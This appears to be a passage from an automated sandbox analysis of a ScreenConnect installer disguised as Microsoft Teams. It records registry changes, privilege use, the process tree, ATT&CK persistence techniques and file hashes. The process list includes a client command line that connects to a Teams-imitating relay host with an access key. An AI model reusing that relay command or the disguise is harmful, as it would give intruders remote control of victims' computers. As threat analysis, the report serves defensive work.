\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000\Software\Microsoft\Internet Explorer\Main explorer.exe - Modifies data under HKEY_USERS 13 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe - Modifies registry class 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "56" SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix StartMenuExperienceHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5ee602d3c477757f msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5ee602d3c477757f\UseOriginalUrlEncoding = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\FD3C3F8281045251B553059CA6F518FB\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\FD3C3F8281045251B553059CA6F518FB\SourceList\Net msiexec.exe Set value (data) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff explorer.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "23" SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" StartMenuExperienceHost.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "23" SearchHost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\FD3C3F8281045251B553059CA6F518FB\Language = "1033" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ explorer.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\FD3C3F8281045251B553059CA6F518FB\ProductName = "Microsoft Teams" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\FD3C3F8281045251B553059CA6F518FB\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\FD3C3F8281045251B553059CA6F518FB\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1991999443-3181470666-3272020885-1000\{94202FD6-13BE-446F-894D-DACF5F8781F3} explorer.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" StartMenuExperienceHost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-6F3F-E73ADE7A7F04}\InprocServer32\ThreadingModel = "Apartment" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\FD3C3F8281045251B553059CA6F518FB\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1991999443-3181470666-3272020885-1000\{7629EB69-4781-45E7-BAB3-D34B2EB72D21} explorer.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\FD3C3F8281045251B553059CA6F518FB\SourceList\PackageName = "ScreenConnect.ClientSetup%20%2817%29%20%281%29.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5ee602d3c477757f\shell\open msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\FD3C3F8281045251B553059CA6F518FB msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\FD3C3F8281045251B553059CA6F518FB\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\58ACE7A892F7189FE56E203D4C7757F7 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\58ACE7A892F7189FE56E203D4C7757F7\FD3C3F8281045251B553059CA6F518FB msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-5ee602d3c477757f msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\FD3C3F8281045251B553059CA6F518FB\Version = "419692564" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\MuiCache SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "56" SearchHost.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-6F3F-E73ADE7A7F04}\InprocServer32 msiexec.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "56" SearchHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5ee602d3c477757f\shell msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5ee602d3c477757f\URL Protocol msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-6F3F-E73ADE7A7F04}\ = "Microsoft Teams Credential Provider" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\FD3C3F8281045251B553059CA6F518FB\ProductIcon = "C:\\Windows\\Installer\\{28F3C3DF-4018-1525-5B35-50C96A5F81BF}\\mspic.exe" msiexec.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\MuiCache StartMenuExperienceHost.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify explorer.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5ee602d3c477757f\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (5ee602d3c477757f)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\FD3C3F8281045251B553059CA6F518FB\PackageCode = "FD3C3F8281045251B553059CA6F518FB" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\FD3C3F8281045251B553059CA6F518FB\Assignment = "1" msiexec.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\microsoftwindows.client.cbs SearchHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs SearchHost.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-6F3F-E73ADE7A7F04} msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\FD3C3F8281045251B553059CA6F518FB\Full msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\FD3C3F8281045251B553059CA6F518FB\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\client.cbs SearchHost.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-5ee602d3c477757f\shell\open\command msiexec.exe - Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 1564 msiexec.exe 1564 msiexec.exe 1276 ScreenConnect.ClientService.exe 1276 ScreenConnect.ClientService.exe 1276 ScreenConnect.ClientService.exe 1276 ScreenConnect.ClientService.exe 1276 ScreenConnect.ClientService.exe 1276 ScreenConnect.ClientService.exe 2340 explorer.exe 2340 explorer.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4272 msiexec.exe Token: SeIncreaseQuotaPrivilege 4272 msiexec.exe Token: SeSecurityPrivilege 1564 msiexec.exe Token: SeCreateTokenPrivilege 4272 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4272 msiexec.exe Token: SeLockMemoryPrivilege 4272 msiexec.exe Token: SeIncreaseQuotaPrivilege 4272 msiexec.exe Token: SeMachineAccountPrivilege 4272 msiexec.exe Token: SeTcbPrivilege 4272 msiexec.exe Token: SeSecurityPrivilege 4272 msiexec.exe Token: SeTakeOwnershipPrivilege 4272 msiexec.exe Token: SeLoadDriverPrivilege 4272 msiexec.exe Token: SeSystemProfilePrivilege 4272 msiexec.exe Token: SeSystemtimePrivilege 4272 msiexec.exe Token: SeProfSingleProcessPrivilege 4272 msiexec.exe Token: SeIncBasePriorityPrivilege 4272 msiexec.exe Token: SeCreatePagefilePrivilege 4272 msiexec.exe Token: SeCreatePermanentPrivilege 4272 msiexec.exe Token: SeBackupPrivilege 4272 msiexec.exe Token: SeRestorePrivilege 4272 msiexec.exe Token: SeShutdownPrivilege 4272 msiexec.exe Token: SeDebugPrivilege 4272 msiexec.exe Token: SeAuditPrivilege 4272 msiexec.exe Token: SeSystemEnvironmentPrivilege 4272 msiexec.exe Token: SeChangeNotifyPrivilege 4272 msiexec.exe Token: SeRemoteShutdownPrivilege 4272 msiexec.exe Token: SeUndockPrivilege 4272 msiexec.exe Token: SeSyncAgentPrivilege 4272 msiexec.exe Token: SeEnableDelegationPrivilege 4272 msiexec.exe Token: SeManageVolumePrivilege 4272 msiexec.exe Token: SeImpersonatePrivilege 4272 msiexec.exe Token: SeCreateGlobalPrivilege 4272 msiexec.exe Token: SeCreateTokenPrivilege 4272 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4272 msiexec.exe Token: SeLockMemoryPrivilege 4272 msiexec.exe Token: SeIncreaseQuotaPrivilege 4272 msiexec.exe Token: SeMachineAccountPrivilege 4272 msiexec.exe Token: SeTcbPrivilege 4272 msiexec.exe Token: SeSecurityPrivilege 4272 msiexec.exe Token: SeTakeOwnershipPrivilege 4272 msiexec.exe Token: SeLoadDriverPrivilege 4272 msiexec.exe Token: SeSystemProfilePrivilege 4272 msiexec.exe Token: SeSystemtimePrivilege 4272 msiexec.exe Token: SeProfSingleProcessPrivilege 4272 msiexec.exe Token: SeIncBasePriorityPrivilege 4272 msiexec.exe Token: SeCreatePagefilePrivilege 4272 msiexec.exe Token: SeCreatePermanentPrivilege 4272 msiexec.exe Token: SeBackupPrivilege 4272 msiexec.exe Token: SeRestorePrivilege 4272 msiexec.exe Token: SeShutdownPrivilege 4272 msiexec.exe Token: SeDebugPrivilege 4272 msiexec.exe Token: SeAuditPrivilege 4272 msiexec.exe Token: SeSystemEnvironmentPrivilege 4272 msiexec.exe Token: SeChangeNotifyPrivilege 4272 msiexec.exe Token: SeRemoteShutdownPrivilege 4272 msiexec.exe Token: SeUndockPrivilege 4272 msiexec.exe Token: SeSyncAgentPrivilege 4272 msiexec.exe Token: SeEnableDelegationPrivilege 4272 msiexec.exe Token: SeManageVolumePrivilege 4272 msiexec.exe Token: SeImpersonatePrivilege 4272 msiexec.exe Token: SeCreateGlobalPrivilege 4272 msiexec.exe Token: SeCreateTokenPrivilege 4272 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4272 msiexec.exe Token: SeLockMemoryPrivilege 4272 msiexec.exe - Suspicious use of FindShellTrayWindow 56 IoCs
pid Process 4272 msiexec.exe 4272 msiexec.exe 5456 sihost.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe - Suspicious use of SendNotifyMessage 40 IoCs
pid Process 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe 2340 explorer.exe - Suspicious use of SetWindowsHookEx 8 IoCs
pid Process 4272 msiexec.exe 1564 msiexec.exe 3264 MsiExec.exe 356 MsiExec.exe 4608 MsiExec.exe 2964 StartMenuExperienceHost.exe 2204 SearchHost.exe 2340 explorer.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1564 wrote to memory of 3264 1564 msiexec.exe 89 PID 3264 wrote to memory of 1816 3264 MsiExec.exe 90 PID 1564 wrote to memory of 2724 1564 msiexec.exe 96 PID 1564 wrote to memory of 356 1564 msiexec.exe 98 PID 1564 wrote to memory of 4608 1564 msiexec.exe 99 PID 1276 wrote to memory of 1860 1276 ScreenConnect.ClientService.exe 101 PID 1276 wrote to memory of 5384 1276 ScreenConnect.ClientService.exe 102 PID 5456 wrote to memory of 2340 5456 sihost.exe 108 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup%20%2817%29%20%281%29.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4272
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1564 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 65AF4994E8E5917A2B2514EAC4C6EF39 C2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3264 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI650.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240715406 3 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1816
-
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵PID:2724
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding A9817E55D117E8AB57A95485A2A5037D2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:356
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 7210908646D0007AA7B8264919C54B97 E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4608
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
PID:948
-
C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relays.teamsupdatevipapi0274.us&p=8041&s=3d01fa6c-113d-42e0-b1a0-b64371d16570&k=BgIAAACkAABSU0ExAAgAAAEAAQAVabycuWi%2f7lyJLoh11Qj1Cq5CVJ%2bVuScNNNGuiC9UGJLvHaj0X%2b6gclkT%2fcjS02p8mijmYpYttTDewuFp%2bvY1Buxm26B7KFgfW2khyXv6ib3aqTBbjQC5muTSJ2207dOdkF6gNeZNeQ2ecDkaAYuboNEBvOlO0nfJZIael%2f135yu4oTzLUNG8d6vL2xJSiM1%2burlDwERDVfHlwfC%2f18MEDiDfUgwQUA0rOBUpi1a3jb5%2bAxEzx%2bpoGam8cKu8dxs8IKtZvHVTwp1OoFZTWPcq2kDBJY3c7UCIB%2bWnQXDPvu0%2f9Dxe8fjABQmgy%2ftZYM7EgQerUl8tlF21L0M0ufyq"1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1276 -
C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe" "RunRole" "bfc271cb-f964-4443-b50e-c3053afc3ea3" "User"2⤵
- Executes dropped EXE
PID:1860
-
-
C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe" "RunRole" "5809abc9-edd5-4515-a4b5-35611404d440" "System"2⤵
- Executes dropped EXE
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:5384
-
-
C:\Windows\system32\sihost.exesihost.exe1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:5456 -
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:2340
-
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2204
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2964
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
3Active Setup
1Authentication Package
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
2Component Object Model Hijacking
1Installer Packages
1Privilege Escalation
Boot or Logon Autostart Execution
3Active Setup
1Authentication Package
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
2Component Object Model Hijacking
1Installer Packages
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e596142.rbs
- Size 214KB
- SHA256 91a19c081a0c5e5adbfc2ded38f8bc0589322018d05217e07079ba62c514a3ae
- MD5 b4a06b96b26047bf05dd1df4a64a8390
- SHA1 9d32c3dcfcb26ce04aea184d1ecca28245e3ed98
